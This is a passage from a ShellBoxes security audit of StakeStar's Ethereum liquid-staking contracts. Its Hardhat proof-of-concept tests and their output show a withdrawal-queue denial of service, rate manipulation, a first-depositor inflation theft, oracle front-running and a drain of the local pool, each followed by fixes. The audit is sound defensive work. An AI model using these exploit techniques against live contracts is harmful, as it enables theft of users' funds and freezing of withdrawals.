StakeStar

Smart Contract Security Audit

Prepared by ShellBoxes

October 10th, 2023 - October 17th, 2023

Shellboxes.com

contact@shellboxes.com

Document Properties

Client	StakeStar
Version	1.0
Classification	Public

Scope

Repository	Commit Hash
https://github.com/stakestar/contracts	6eefab466ccc6516c1a24ba9c5bf7fb283825389

Re-Audit

Repository	Commit Hash
https://github.com/stakestar/contracts	afc60d57ecd7680a7341cfb387f18938ffa6506a

Contacts

COMPANY	EMAIL
ShellBoxes	contact@shellboxes.com

Contents

1 Introduction

StakeStar engaged ShellBoxes to conduct a security assessment on the StakeStar beginning on October 10th, 2023 and ending October 17th, 2023. In this report, we detail our methodical approach to evaluate potential security issues associated with the implementation of smart contracts, by exposing possible semantic discrepancies between the smart contract code and design document, and by recommending additional ideas to optimize the existing code. Our findings indicate that the current version of smart contracts can still be enhanced further due to the presence of many security and performance concerns.

This document summarizes the findings of our audit.

1.1 About StakeStar

StakeStar is a new Decentralized Ethereum liquid staking protocol that leverages distributed validator technology (DVT) from SSV Network to provide ETH stakers with higher security and reliability.

Issuer	StakeStar
Website	`https://stakestar.io`
Type	Solidity Smart Contracts
Documentation	StakeStar Docs
Audit Method	Whitebox

1.2 Approach & Methodology

ShellBoxes used a combination of manual and automated security testing to achieve a balance between efficiency, timeliness, practicability, and correctness within the audit's scope. While manual testing is advised for identifying problems in logic, procedure, and implementation, automated testing techniques help to expand the coverage of smart contracts and can quickly detect code that does not comply with security best practices.

1.2.1 Risk Methodology

Vulnerabilities or bugs identified by ShellBoxes are ranked using a risk assessment technique that considers both the LIKELIHOOD and IMPACT of a security incident. This framework is effective at conveying the features and consequences of technological vulnerabilities.

Its quantitative paradigm enables repeatable and precise measurement, while also revealing the underlying susceptibility characteristics that were used to calculate the Risk scores. A risk level will be assigned to each vulnerability on a scale of 5 to 1, with 5 indicating the greatest possibility or impact.

- Likelihood quantifies the probability of a certain vulnerability being discovered and exploited in the untamed.
- Impact quantifies the technical and economic costs of a successful attack.
- Severity indicates the risk's overall criticality.

Probability and impact are classified into three categories: H, M, and L, which correspond to high, medium, and low, respectively. Severity is determined by probability and impact and is categorized into four levels, namely Critical, High, Medium, and Low.

Impact	Likelihood: High	Likelihood: Medium	Likelihood: Low
High	Critical	High	Medium
Medium	High	Medium	Low
Low	Medium	Low	Low

2 Findings Overview

2.1 Summary

The following is a synopsis of our conclusions from our analysis of the StakeStar implementation. During the first part of our audit, we examine the smart contract source code and run the codebase via a static code analyzer. The objective here is to find known coding problems statically and then manually check (reject or confirm) issues highlighted by the tool. Additionally, we check business logics, system processes, and DeFi-related components manually to identify potential hazards and/or defects.

2.2 Key Findings

In general, these smart contracts are well-designed and constructed, but their implementation might be improved by addressing the discovered flaws, which include 1 critical-severity, 4 high-severity, 4 medium-severity, 1 low-severity vulnerabilities.

Vulnerabilities	Severity	Status
SHB.1. Denial of Service Attack via claim Function Blocking Ether Withdrawals	CRITICAL	Fixed
SHB.2. Manipulation Attack on commitSnapshot Function, Freezing Reward Distribution and Locking Funds	HIGH	Mitigated
SHB.3. Inflation Attack on ETHToStakedStar Function, Enabling Theft of Deposited Funds	HIGH	Mitigated
SHB.4. Potential for Sandwich Attack Exploiting commitSnapshot Function Rate Changes	HIGH	Fixed
SHB.5. First Oracle Dictates Value in Oracle Consensus	HIGH	Acknowledged

SHB.6. Bypassing localPoolWithdrawalPeriodLimit in localPoolWithdraw Function, Enabling Rapid Depletion of localPoolSize	MEDIUM	Fixed
SHB.7. Ineffective Deadline in ExactInputSingleParams	MEDIUM	Fixed
SHB.8. Missing Storage Gaps in SwapProvider Contract	MEDIUM	Fixed
SHB.9. Overpowered Administrative Privileges	MEDIUM	Acknowledged
SHB.10. Missing Input Validation in setAddresses Function	LOW	Fixed

3 Finding Details

SHB.1 Denial of Service Attack via claim Function Blocking Ether Withdrawals

- Severity : CRITICAL
- Status : Fixed
- Likelihood : 3
- Impact : 3

Description:

The claim function in the smart contract has a loop limit of 25. If the function finds the pending withdrawal of the caller in the queue, it allows the caller to claim. However, this can be exploited by an attacker who can create 25 different accounts, each withdrawing a minimal amount (1 wei). This action effectively causes a denial of service in the function, preventing any other user from withdrawing ether from the protocol. The reason is that their pending withdrawal may never be found in the last 25 pending withdrawals due to the loop limit.

Exploit Scenario:

An attacker can create 25 different accounts, deposit 1 wei for using these accounts, then initiate a withdrawal of 1 wei for each one. A legitimate user who tries to withdraw after these 25 withdrawals will be unable to claim their withdrawal. This is because their pending withdrawal will not be found within the first 25 pending withdrawals, causing the claim function to revert with the message "lack of eth / queue length".

SHB.1.1: Proof of Concept

```
it("Should prevent claiming withdrawals", async function () {
    const {
    hre,
    stakeStar
    } = await loadFixture(
    deployStakeStarFixture
```

```
    );
    const signers = await hre.ethers.getSigners();
    const attackers = signers.slice(0, 26);
    const nomal_user = signers[25];
    console.log("---25 addresses depositing 1 wei---");
    for (let i = 0; i < 25; i++) {
    const depositAmountEth = hre.ethers.utils.parseUnits("1", "wei");
    await stakeStar.connect(attackers[i]).deposit({ value:
      ↪ depositAmountEth });
    await stakeStar.connect(attackers[i]).withdraw(depositAmountEth);
    }
    const depositAmountEth = hre.ethers.utils.parseEther("1");
    await stakeStar.connect(nomal_user).deposit({ value:
      ↪ depositAmountEth });
    await stakeStar.connect(nomal_user).withdraw(depositAmountEth);
    await expect(stakeStar.connect(nomal_user).claim()).to.be.
      ↪ revertedWith("lack of eth / queue length");
    console.log("---Legit Users Cannot Withdraw Due to 'lack of eth /
      ↪ queue length' error---");
});
```

SHB.1.2: PoC Output

```
---25 addresses depositing 1 wei---
---Legit Users Cannot Withdraw Due to 'lack of eth / queue length' error
  ↪ ---
  ✓ Should prevent claiming withdrawals (12684ms)
```

Files Affected:

SHB.1.3: StakeStar.sol

```
337     function claim() public {
338         PendingWithdrawalData memory pendingData = queue[msg.sender];
339         uint96 eth = pendingData.pendingAmount;
340         require(eth > 0, "no pending withdrawal");
```

```
341
342         (uint32 index, address index_prev) = queueIndexAndPrevious(msg.
                ↪ sender);
343         require(index > 0, "lack of eth / queue length");
344
345         pendingWithdrawalSum -= eth;
346         if (head == msg.sender) {
347             head = pendingData.next;
348         } else {
349             queue[index_prev].next = pendingData.next;
350         }
351         if (tail == msg.sender) {
352             tail = index_prev;
353         }
354
355         delete queue[msg.sender];
356
357         // possible reentrancy, but as a last call before return it's
                ↪ safe
358         Utils.safeTransferETH(msg.sender, eth);
359
360         emit Claim(msg.sender, eth);
361     }
```

Recommendation:

Consider implementing a more robust mechanism for handling the queue of pending withdrawals. The risk can be mitigated by enforcing the withdrawals to be higher than a minimum amount to increase the attack cost.

Updates

The team resolved the issue by implementing the forceClaim function that forcefully claims the first withdrawals on behalf of stakers. Additionally, they implemented a minimum withdrawal restriction which is expected to be at 0.05 ETH to reduce the attack cost.

SHB.1.4: StakeStar.sol

```
412     // Forcefully empty the withdrawal queue
413     function forceClaim(uint8 n) public nonReentrant {
414         require(n > 0, "n = 0");
415         require(head != address(0), "queue is empty");
416 
417         while (n > 0 && head != address(0)) {
418             _claim(head);
419             n = n - 1;
420         }
421     }
```

SHB.1.5: StakeStar.sol

```
381         require(starAmount >= withdrawalMinLimit, "withdrawalMinLimit");
```

SHB.2 Manipulation Attack on commitSnapshot Function, Freezing Reward Distribution and Locking Funds

- Severity : HIGH
- Likelihood : 2
- Status : Mitigated
- Impact : 3

Description:

The commitSnapshot function in the smart contract is responsible for updating the rate based on the new total balance. However, there's a vulnerability where an attacker can manipulate the rate to cause the deviation check to always fail. By simply minting 1 wei of sstarETH and then sending ETH directly to the contract, the rate effectively increases significantly since the total_ETH increases without a corresponding increase in the sstarETH total supply. This manipulation ensures the deviation check will always fail, preventing the commitSnapshot function from executing. As a result, the rate remains

unchanged at 1 ether, which in turn prevents stakers from receiving any rewards and effectively locks the funds in the contract.

Exploit Scenario:

An attacker deposits a minimal amount (1 wei) into the contract and then stakes the same amount. Following this, the attacker sends ETH directly to the contract. This action manipulates the rate to double, causing the rate deviation check in the commitSnapshot function to fail. As a result, the function cannot be executed, and the rate remains at 1 ether. This prevents any stakers from receiving rewards and locks the rewards within the contract.

SHB.2.1: Proof of Concept

```
it("Prevent commitSnapshot", async function () {
    const {
    hre,
    stakeStar,
    stakeStarPublic,
    stakeStarOracleStrict,
    stakeStarOracleStrict1,
    stakeStarOracleStrict2,} = await loadFixture(
    deployStakeStarFixture
    );

    const signers = await hre.ethers.getSigners();
    const attacker = signers[24];
    console.log("---The attacker initially stakes 1 Wei---");
    const depositAmountEth = hre.ethers.utils.parseUnits("1", "wei");
    await stakeStar.connect(attacker).depositAndStake({ value:
       ↪ depositAmountEth });
    console.log("---Then sends 1 Ether directly to the StakeStar
       ↪ contract---");
    await attacker.sendTransaction({
    to: stakeStar.address,
    value: hre.ethers.utils.parseEther("1"),
    });
```

```
        const nextEpochToPublish = await stakeStarOracleStrict.
            ↪ nextEpochToPublish();

        await stakeStarOracleStrict1.save(nextEpochToPublish, 0);

        await stakeStarOracleStrict2.save(nextEpochToPublish, 0);

        await expect(stakeStarPublic.commitSnapshot()).to.be.revertedWith("
            ↪ rate deviation too big");
        console.log("---commitSnapshot Cannot be called due to 'rate
            ↪ deviation too big' error---");
    });
```

SHB.2.2: PoC Output

```
    ---The attacker initially stakes 1 Wei---
    ---Then sends 1 Ether directly to the StakeStar contract---
    ---commitSnapshot Cannot be called due to 'rate deviation too big' error
        ↪ ---
        ✓ Prevent commitSnapshot (232ms)
```

Files Affected:

SHB.2.3: StakeStar.sol

```
590     // update rate according to the new total balance
591     function commitSnapshot() public {
592         // Warning: totalBalance includes withdrawalAddress balance!
593         (uint256 totalBalance, uint256 timestamp) = oracleNetwork.
                ↪ latestTotalBalance();
594
595         require(
596             timestamp >= snapshots[1].timestamp + Utils.EPOCH_DURATION,
597             "timestamps too close"
598         );
```

```
599
600         harvest();
601
602         uint256 total_ETH = totalBalance +
603             address(this).balance -
604             uint256(pendingWithdrawalSum) -
605             starETH.totalSupply();
606         uint256 total_stakedStar = sstarETH.totalSupply();
607
608         require(total_ETH > 0 && total_stakedStar > 0, "totals must be >
                ↪ 0");
609
610         uint256 currentRate = rate();
611         uint256 newRate = MathUpgradeable.mulDiv(
612             total_ETH,
613             1 ether,
614             total_stakedStar
615         );
616
617         if (rateDeviationCheck) {
618             uint256 lastRate = snapshots[1].timestamp > 0
619                 ? MathUpgradeable.mulDiv(
620                     snapshots[1].total_ETH,
621                     1 ether,
622                     snapshots[1].total_stakedStar
623                 )
624                 : 1 ether;
625
626             uint256 maxRate = MathUpgradeable.max(newRate, lastRate);
627             uint256 minRate = MathUpgradeable.min(newRate, lastRate);
628
629             require(
630                 MathUpgradeable.mulDiv(
631                     maxRate - minRate,
```

```
632                     Utils.BASE,
633                     lastRate
634                 ) <= uint256(maxRateDeviation),
635                 "rate deviation too big"
636             );
637         } else {
638             rateDeviationCheck = true;
639         }
640 
641         snapshots[0] = snapshots[1];
642         snapshots[1] = Snapshot(uint96(total_ETH), uint96(
                ↪ total_stakedStar), uint64(timestamp));
643 
644         rateCorrectionFactor = 1 ether;
645 
646         if (address(withdrawalAddress).balance > 0) withdrawalAddress.
                ↪ pull();
647 
648         emit CommitSnapshot(total_ETH, total_stakedStar, timestamp,
                ↪ newRate);
649         emit RateDiff(newRate, currentRate);
650     }
```

Recommendation:

Consider adjusting or removing the logic behind the rate deviation check to ensure it cannot be easily exploited by attackers to cause DoS on the commitSnapshot function.

Updates

The team mitigated the risk, stating that they will be depositing 5-10 ETH initially to prevent rate manipulations. Additionally, they will be using an off-chain monitoring service to act accordingly by disabling rate checks.

SHB.3 Inflation Attack on ETHToStakedStar Function, Enabling Theft of Deposited Funds

- Severity : HIGH
- Status : Mitigated
- Likelihood : 2
- Impact : 3

Description:

The ETHToStakedStar function in the smart contract is designed to convert deposited ETH to sstarETH at a specific rate. However, there's a vulnerability where the first depositor can exploit the rate calculation mechanism. By staking a minimal amount (1 wei) to get an equivalent amount of sstarETH and then front-running the transaction of the next depositor by sending ETH directly to the contract, the attacker can artificially inflate the rate. This rate inflation results in the ETHToStakedStar output rounding down to zero, causing the subsequent depositor (victim) to receive no sstarETH in exchange for their deposited ETH. Since the attacker is the sole holder of sstarETH, they effectively own 100% of the balance. After the next commitSnapshot call, which updates the rate, the attacker can withdraw both their initial deposit and the victim's deposited ETH.

Exploit Scenario:

An attacker deposits a minimal amount (1 wei) into the contract and stakes the same amount. They then send a larger amount of ETH directly to the contract, inflating the rate. A subsequent depositor (victim) deposits ETH, expecting to receive an equivalent amount of sstarETH. However, due to the inflated rate, the victim receives no sstarETH. After the rate is updated in the next commitSnapshot call, the attacker can unstake their sstarETH and withdraw both their initial deposit and the victim's deposited ETH.

SHB.3.1: Proof of Concept

```
it("Inflation attack", async function () {
    const {
    hre,
    stakeStar,
```

```
stakeStarOwner,
stakeStarPublic,
stakeStarOracleStrict,
stakeStarOracleStrict1,
stakeStarOracleStrict2,
starETH,
sstarETH
} = await loadFixture(
deployStakeStarFixture
);
await stakeStarOwner.setRateParameters(0, false);
const signers = await hre.ethers.getSigners();
const attacker = signers[24];
const victim = signers[25];
const depositAmountEth = hre.ethers.utils.parseUnits("1", "wei");
console.log("---The attacker deposits 1 Wei of Ether and stakes 1
   ↪ Wei of starETH and gets 1 Wei sstarETH---");
await stakeStar.connect(attacker).depositAndStake({ value:
   ↪ depositAmountEth });
const rateValue = await stakeStarPublic["rate()"].call();
console.log("Initial rate = ",hre.ethers.utils.formatEther(rateValue
   ↪ ));
console.log("---The attacker sends 1 ether directly to the StakeStar
   ↪  contract---");
const etherSentToStakeStar = hre.ethers.utils.parseEther("1")
await attacker.sendTransaction({
to: stakeStar.address,
value: etherSentToStakeStar,
});
const nextEpochToPublish = await stakeStarOracleStrict.
   ↪ nextEpochToPublish();
await stakeStarOracleStrict1.save(nextEpochToPublish, 0);
await stakeStarOracleStrict2.save(nextEpochToPublish, 0);
await stakeStarPublic.commitSnapshot();
```

```
    await stakeStarOwner.setRateParameters(0, false);

    console.log("Inflated Rate :",hre.ethers.utils.formatEther(await
        ↪ stakeStarPublic["rate()"].call()));

    const depositAmountEthVictim = hre.ethers.utils.parseEther("1");
    await stakeStar.connect(victim).depositAndStake({ value:
        ↪ depositAmountEthVictim });
    const minted = await sstarETH.balanceOf(victim.address);
    console.log("---The victim deposits 1 Ether and stakes 1 startETH
        ↪ and gets 0 sstartETH ---");
    console.log("The victim's sstarETH Balance : ", hre.ethers.utils.
        ↪ formatEther(minted));
    await time.increase(24 * 3600);
    const secondNextEpochToPublish = await stakeStarOracleStrict.
        ↪ nextEpochToPublish();

    await stakeStarOracleStrict1.save(secondNextEpochToPublish, 0);

    await stakeStarOracleStrict2.save(secondNextEpochToPublish, 0);
    console.log("Rate :",hre.ethers.utils.formatEther(await
        ↪ stakeStarPublic["rate()"].call()));
    await stakeStarPublic.commitSnapshot();
    console.log("Rate :",hre.ethers.utils.formatEther(await
        ↪ stakeStarPublic["rate()"].call()));
    await stakeStar.connect(attacker).unstake(1);

    const ethUnstaked = await starETH.balanceOf(attacker.address);
    console.log("Unstaked %d starETH", hre.ethers.utils.formatEther(
        ↪ ethUnstaked));
    console.log("The attacker made a profit of %d ETH", hre.ethers.utils
        ↪ .formatEther(ethUnstaked.sub(etherSentToStakeStar).sub(
        ↪ depositAmountEth)))
});
```

SHB.3.2: PoC Output

```
---The attacker deposits 1 Wei of Ether and stakes 1 Wei of starETH and
    ↪ gets 1 Wei sstarETH---
Initial rate = 1.0
---The attacker sends 1 ether directly to the StakeStar contract---
Inflated Rate : 1000000000000000001.0
---The victim deposits 1 Ether and stakes 1 startETH and gets 0
    ↪ sstartETH ---
The victim's sstarETH Balance : 0.0
Rate : 1000000000000000001.0
Rate : 2854768518518518519.518518518518518518
Unstaked 2.8547800925925926 starETH
The attacker made a profit of 1.8547800925925926 ETH
    ✓ Inflation attack (846ms)
```

Files Affected:

SHB.3.3: StakeStar.sol

```
274     // convert Star tokens to the StakedStar tokens by current SStar
            ↪ rate
275     // (notice: this method doesn't change rate)
276     function stake(
277         uint256 starAmount
278     ) public returns (uint256 stakedStarAmount) {
279         require(starAmount > 0, "amount = 0");
280         extractCommission();
281 
282         stakedStarAmount = ETHToStakedStar(starAmount);
283         starETH.burn(msg.sender, starAmount);
284         sstarETH.mint(msg.sender, stakedStarAmount);
285 
286         emit Stake(msg.sender, starAmount, stakedStarAmount);
287     }
```

SHB.3.4: StakeStar.sol

```
733     function ETHToStakedStar(uint256 eth) public view returns (uint256)
            ↪ {
734         return MathUpgradeable.mulDiv(eth, 1 ether, rate());
735     }
```

Recommendation:

1. Rounding Protection: Ensure that the function responsible for minting shares does not round down to zero. This can be achieved by adding a condition to check if the minted shares are not zero. However, this alone doesn't fully address the vulnerability but reduces its impact.

2. Dead Shares Technique: Consider implementing the 'dead shares' technique used by UniswapV2. This involves minting a certain number of "dead shares" on the first deposit to protect the pool's deposit function. While this approach increases the complexity of potential attacks and can prevent outright theft, it still leaves room for griefing attacks.

Updates

The team mitigated the risk, stating that they will be depositing 5-10 ETH initially which will prevent inflation attacks along with the rate deviation checks.

SHB.4 Potential for Sandwich Attack Exploiting commitSnapshot Function Rate Changes

- Severity : HIGH
- Status : Fixed
- Likelihood : 3
- Impact : 2

Description:

The commitSnapshot function in the smart contract updates the snapshots based on the new total balance, which directly impacts the rate. Observers can monitor this function to anticipate changes in the rate. This predictability can be exploited by attackers to perform a sandwich attack on the commitSnapshot function, especially when the rate is expected to increase. By front-running the commitSnapshot call with a large deposit and stake, followed by a back-running withdrawal, an attacker can achieve a guaranteed profit. This is because the new rate can be predicted by knowing the latestTotalBalance from the oracle network.

Exploit Scenario:

An attacker monitors the commitSnapshot function for expected changes in the rate. When they predict an increase in the rate, they front-run the commitSnapshot call with a large deposit and stake. This action inflates the total_ETH and total_stakedStar values, leading to a higher rate calculation. Immediately after the commitSnapshot call, the attacker back-runs with a withdrawal, benefiting from the higherrate. This sequence allows the attacker to withdraw more than their initial deposit, effectively profiting from the increased rate without actually staking his funds for a long duration.

Files Affected:

SHB.4.1: StakeStar.sol

```
590     // update rate according to the new total balance
591     function commitSnapshot() public {
592         // Warning: totalBalance includes withdrawalAddress balance!
593         (uint256 totalBalance, uint256 timestamp) = oracleNetwork.
                ↪ latestTotalBalance();
594
595         require(
596             timestamp >= snapshots[1].timestamp + Utils.EPOCH_DURATION,
597             "timestamps too close"
598         );
599
```

```
600         harvest();
601
602         uint256 total_ETH = totalBalance +
603             address(this).balance -
604             uint256(pendingWithdrawalSum) -
605             starETH.totalSupply();
606         uint256 total_stakedStar = sstarETH.totalSupply();
607
608         require(total_ETH > 0 && total_stakedStar > 0, "totals must be >
                ↪ 0");
609
610         uint256 currentRate = rate();
611         uint256 newRate = MathUpgradeable.mulDiv(
612             total_ETH,
613             1 ether,
614             total_stakedStar
615         );
616
617         if (rateDeviationCheck) {
618             uint256 lastRate = snapshots[1].timestamp > 0
619                 ? MathUpgradeable.mulDiv(
620                     snapshots[1].total_ETH,
621                     1 ether,
622                     snapshots[1].total_stakedStar
623                 )
624                 : 1 ether;
625
626             uint256 maxRate = MathUpgradeable.max(newRate, lastRate);
627             uint256 minRate = MathUpgradeable.min(newRate, lastRate);
628
629             require(
630                 MathUpgradeable.mulDiv(
631                     maxRate - minRate,
632                     Utils.BASE,
```

```
633                     lastRate
634                 ) <= uint256(maxRateDeviation),
635                 "rate deviation too big"
636             );
637         } else {
638             rateDeviationCheck = true;
639         }
640 
641         snapshots[0] = snapshots[1];
642         snapshots[1] = Snapshot(uint96(total_ETH), uint96(
            ↪ total_stakedStar), uint64(timestamp));
643 
644         rateCorrectionFactor = 1 ether;
645 
646         if (address(withdrawalAddress).balance > 0) withdrawalAddress.
            ↪ pull();
647 
648         emit CommitSnapshot(total_ETH, total_stakedStar, timestamp,
            ↪ newRate);
649         emit RateDiff(newRate, currentRate);
650     }
```

Recommendation:

Consider implementing a delay or a lock period between deposits and withdrawals to prevent those sandwich attacks.

Updates

The team resolved the issue by implementing a block delay between stake and unstake to prevent sandwich attacks.

SHB.4.2: StakeStar.sol

```
358         require(
359             uint32(block.number) - stakeHistory[msg.sender] >
```

```
360                 unstakePeriodLimit,
361             "unstakePeriodLimit"
362         );
363         require(
364             uint32(block.number) - sstarETH.history(msg.sender) >
365             unstakePeriodLimit,
366             "unstakePeriodLimit after transfer"
367         );
```

SHB.4.3: SStarETH.sol

```
34     function _afterTokenTransfer(
35         address from,
36         address to,
37         uint256 amount
38     ) internal virtual override {
39         if (from != address(0)) {
40             history[to] = uint32(block.number);
41         }
42     }
```

SHB.5 First Oracle Dictates Value in Oracle Consensus

- Severity : HIGH
- Likelihood : 2
- Status : Acknowledged
- Impact : 3

Description:

The oracle system in the smart contract is designed with a 2 out of 3 trust assumption, implying that the system should function correctly as long as at least two oracles are acting honestly. However, there's a critical flaw in the implementation. The first oracle that votes sets the initial value for a given epoch. Subsequent oracles do not have the flexibility to propose a different value, as the transaction will revert if they provide a value that differs from

the first oracle's proposal. This is due to the require statements that check for value equality between the previous balance and the provided one. This implementation flaw means that the first oracle effectively has the power to force value for a given epoch, or cause denial of service if the other oracles do not use the same value, undermining the intended 2 out of 3 trust assumption.

Exploit Scenario:

If one of the oracles get compromised or a malicious actor controls one of the oracles, they can dictate the value for a given epoch. When the malicious oracle proposes a value, any subsequent honest oracles that attempt to propose a different value will have their transactions reverted due to the aforementioned require statements. This allows the malicious oracle to effectively prevent the consensus, even if the other two oracles are acting correctly.

SHB.5.1: Proof of Concept

```
it("Should save consensus data", async function () {
    const {
    stakeStarOracle,
    stakeStarOracle1,
    stakeStarOracle2,
    stakeStarOracle3,
    } = await loadFixture(deployStakeStarFixture);

    await stakeStarOracle.setStrictEpochMode(true);

    const nextEpochToPublish = await stakeStarOracle.nextEpochToPublish
    ↪ ();
    expect(nextEpochToPublish).to.be.gt(0);

    console.log("---The malicious oracle front runs the others and votes
    ↪  for a wrong total balance---")
    await stakeStarOracle1.save(nextEpochToPublish, 10000000000);
```

```
        console.log("---The legit 2 oracles that behave correctly are not
            ↪ able to vote for the correct total balance---")
        await expect(
        stakeStarOracle2.save(nextEpochToPublish, 1000)
        ).to.be.revertedWith("balance not equals");

        await expect(
        stakeStarOracle3.save(nextEpochToPublish, 1000)
        ).to.be.revertedWith("balance not equals");

    });
```

SHB.5.2: PoC Output

```
    ---The malicious oracle front runs the others and votes for a wrong
        ↪ total balance---
    ---The legit 2 oracles that behave correctly are not able to vote for
        ↪ the correct total balance---
        ✓ Should save consensus data (114ms)
```

Files Affected:

SHB.5.3: StakeStarOracle.sol

```
101     function save(uint32 epoch, uint256 totalBalance) public {
102         uint32 oracle_bit = _oracles[msg.sender];
103         require(oracle_bit > 0, "oracle role required");
104
105         uint64 timestamp = epochToTimestamp(epoch);
106         require(timestamp < uint64(block.timestamp), "epoch from the
                ↪ future");
107
108         if (_strictEpochMode) {
109             require(
110                 epoch == nextEpochToPublish(),
111                 "only nextEpochToPublish() allowed"
```

```
112             );
113         }
114 
115         uint32 epoch1 = _epoch1;
116         bool epoch1_in_consensus = has_consensus(epoch1);
117         epoch1 &= EPOCH_VALUE_MASK;
118 
119         uint32 epoch2 = _epoch2;
120         bool epoch2_in_consensus = has_consensus(epoch2);
121         epoch2 &= EPOCH_VALUE_MASK;
122 
123         // in case of reversion, event logs is throwing away
124         emit Proposed(epoch, totalBalance, oracle_bit);
125 
126         if (epoch1 <= epoch2) {
127             // 1 - current
128             // 2 - new consensus in progress
129             if (epoch == epoch2) {
130                 // continue progress in (2)
131                 require(
132                     _epoch2 & oracle_bit == 0,
133                     "oracle already submitted result"
134                 );
135                 require(totalBalance == _totalBalance2, "balance not
                    ↪ equals");
136                 _epoch2 |= oracle_bit;
137 
138                 if (has_consensus(_epoch2) && !epoch2_in_consensus) {
139                     emit Saved(epoch, totalBalance);
140                 }
141             } else {
142                 require(epoch > epoch2, "epoch must increase");
143                 if (epoch2_in_consensus) {
144                     // 2 - current
```

```
145                     // 1 - old, not used
146                     _epoch1 = epoch | oracle_bit;
147                     _totalBalance1 = uint96(totalBalance);
148                 } else {
149                     // reset not finished progress in (2)
150                     _epoch2 = epoch | oracle_bit;
151                     _totalBalance2 = uint96(totalBalance);
152                 }
153             }
154         } else {
155             // epoch2 < epoch1
156             // 2 - current
157             // 1 - new consensus in progress
158             if (epoch == epoch1) {
159                 // continue progress in (1)
160                 require(
161                     _epoch1 & oracle_bit == 0,
162                     "oracle already submitted result"
163                 );
164                 require(totalBalance == _totalBalance1, "balance not
                    ↪ equals");
165                 _epoch1 |= oracle_bit;
166 
167                 if (has_consensus(_epoch1) && !epoch1_in_consensus) {
168                     emit Saved(epoch, totalBalance);
169                 }
170             } else {
171                 require(epoch > epoch1, "epoch must increase");
172                 if (epoch1_in_consensus) {
173                     // 1 - current
174                     // 2 - old, not used
175                     _epoch2 = epoch | oracle_bit;
176                     _totalBalance2 = uint96(totalBalance);
177                 } else {
```

```
178                     // reset not finished progress in (1)
179                     _epoch1 = epoch | oracle_bit;
180                     _totalBalance1 = uint96(totalBalance);
181                 }
182             }
183         }
184     }
```

Recommendation:

Redesign the oracle consensus mechanism to allow all oracles to propose values independently. Only finalize a value once a majority consensus (2 out of 3) is reached.

Updates

The team acknowledged the issue, stating that they will be using the StakeStarOracleStrict contract as an oracle instead of StakeStarOracle . It is worth noting that the StakeStarOracleStrict and StakeStarOracle are two implementations of the oracle functionality. While they achieve the same, they do not use the same method, the StakeStarOracleStrict uses the _oracleProposal to store votes, meanwhile StakeStarOracle stores the votes in the most significant three bits of the epoch. The issue that was spotted is unique to the StakeStarOracle implementation, therefore using the StakeStarOracleStrict contract will solve the issue.

SHB.6 Bypassing localPoolWithdrawalPeriodLimit in localPoolWithdraw Function, Enabling Rapid Depletion of localPoolSize

- Severity : MEDIUM
- Status : Fixed
- Likelihood : 2
- Impact : 2

Description:

The localPoolWithdraw function in the smart contract is designed to allow users to withdraw small amounts of starETH without going through the enqueue/claim operations. This is intended to be more gas-efficient and faster for small withdrawals. However, there's a vulnerability associated with the localPoolWithdrawalPeriodLimit check. An attacker can easily bypass this check by transferring the starETH tokens to different addresses and then initiating withdrawals from these addresses. This allows the attacker to perform a series of local withdrawals up to the localPoolWithdrawalLimit using different addresses, potentially depleting the localPoolSize rapidly.

Exploit Scenario:

An attacker, aware of the localPoolWithdrawalPeriodLimit check, transfers their starETH tokens to multiple different addresses. Each of these addresses then calls the localPoolWithdraw function to withdraw up to the localPoolWithdrawalLimit. Since the localPoolWithdrawalPeriodLimit check is based on the last withdrawal block number associated with an address, using new addresses bypasses this restriction. Consequently, the attacker can rapidly and repeatedly withdraw from the localPoolSize, potentially emptying it.

SHB.6.1: Proof of Concept

```
it("Empty the localPoolSize", async function () {
    const {
    hre,
    stakeStar,
    stakeStarPublic,
    stakeStarOwner,
    starETH
    } = await loadFixture(deployStakeStarFixture);
    await stakeStarOwner.setLocalPoolParameters(
    hre.ethers.utils.parseEther("10"),
    hre.ethers.utils.parseEther("1"),
    300 // 1 hour
    );
    const signers = await hre.ethers.getSigners();
```

```
const attackers = signers.slice(0, 26);
const mainAttacker = signers[25];
const depositAmountEth = hre.ethers.utils.parseEther("10");
await stakeStar.connect(mainAttacker).deposit({ value:
    ↪ depositAmountEth });
const localPoolSize = await stakeStar.connect(mainAttacker).
    ↪ localPoolSize();
console.log("Initial pool size is : %d ETH", hre.ethers.utils.
    ↪ formatEther(localPoolSize));
const sentAmount = hre.ethers.utils.parseEther("1");
await stakeStar.connect(mainAttacker).localPoolWithdraw(sentAmount);
console.log("Local Pool size is : %d ETH", hre.ethers.utils.
    ↪ formatEther(await stakeStarPublic.localPoolSize()));
console.log("---The attacker has 10 starETH---");
console.log("---Ideally the attacker should only be allowed to
    ↪ withdraw 1 ETH per hour using the local pool---")
console.log("---The attacker transfers 1 starETH to 9 different
    ↪ addresses---");
console.log("---Each address withdraw 1 startETH---");
console.log("---Then sends 1 ETH back to the main attacker---");
for (let i = 1; i < 10; i++) {
await starETH.connect(mainAttacker).transfer(attackers[i].address,
    ↪ sentAmount);
await stakeStar.connect(attackers[i]).localPoolWithdraw(sentAmount);
console.log("Local Pool size is : %d ETH", hre.ethers.utils.
    ↪ formatEther(await stakeStarPublic.localPoolSize()));
await attackers[i].sendTransaction({
    to: mainAttacker.address,
    value: hre.ethers.utils.parseEther("1"),
});
}
console.log("---This allows the attacker to empty the local pool
    ↪ ---");
expect(await stakeStarPublic.localPoolSize()).to.be.eq(0);
```

```
});
```

SHB.6.2: PoC Output

```
Initial pool size is : 10 ETH
Local Pool size is : 9 ETH
---The attacker has 10 starETH---
---Ideally the attacker should only be allowed to withdraw 1 ETH per
    ↪ hour using the local pool---
---The attacker transfers 1 starETH to 9 different addresses---
---Each address withdraw 1 startETH---
---Then sends 1 ETH back to the main attacker---
Local Pool size is : 8 ETH
Local Pool size is : 7 ETH
Local Pool size is : 6 ETH
Local Pool size is : 5 ETH
Local Pool size is : 4 ETH
Local Pool size is : 3 ETH
Local Pool size is : 2 ETH
Local Pool size is : 1 ETH
Local Pool size is : 0 ETH
---This allows the attacker to empty the local pool---
    ✓ Empty the localPoolSize (1407ms)
```

Files Affected:

SHB.6.3: StakeStar.sol

```
363     // for small SStar amount make withdraw without enqueue/claim
            ↪ operations
364     // more gas efficient and fast, but can't be used frequently and
            ↪ with big amounts
365     function localPoolWithdraw(uint256 starAmount) public {
366         require(
367             starAmount <= localPoolWithdrawalLimit,
368             "localPoolWithdrawalLimit"
```

```
369         );
370         require(starAmount <= localPoolSize, "localPoolSize");
371         require(
372             uint32(block.number) - localPoolWithdrawalHistory[msg.sender]
                ↪  > localPoolWithdrawalPeriodLimit,
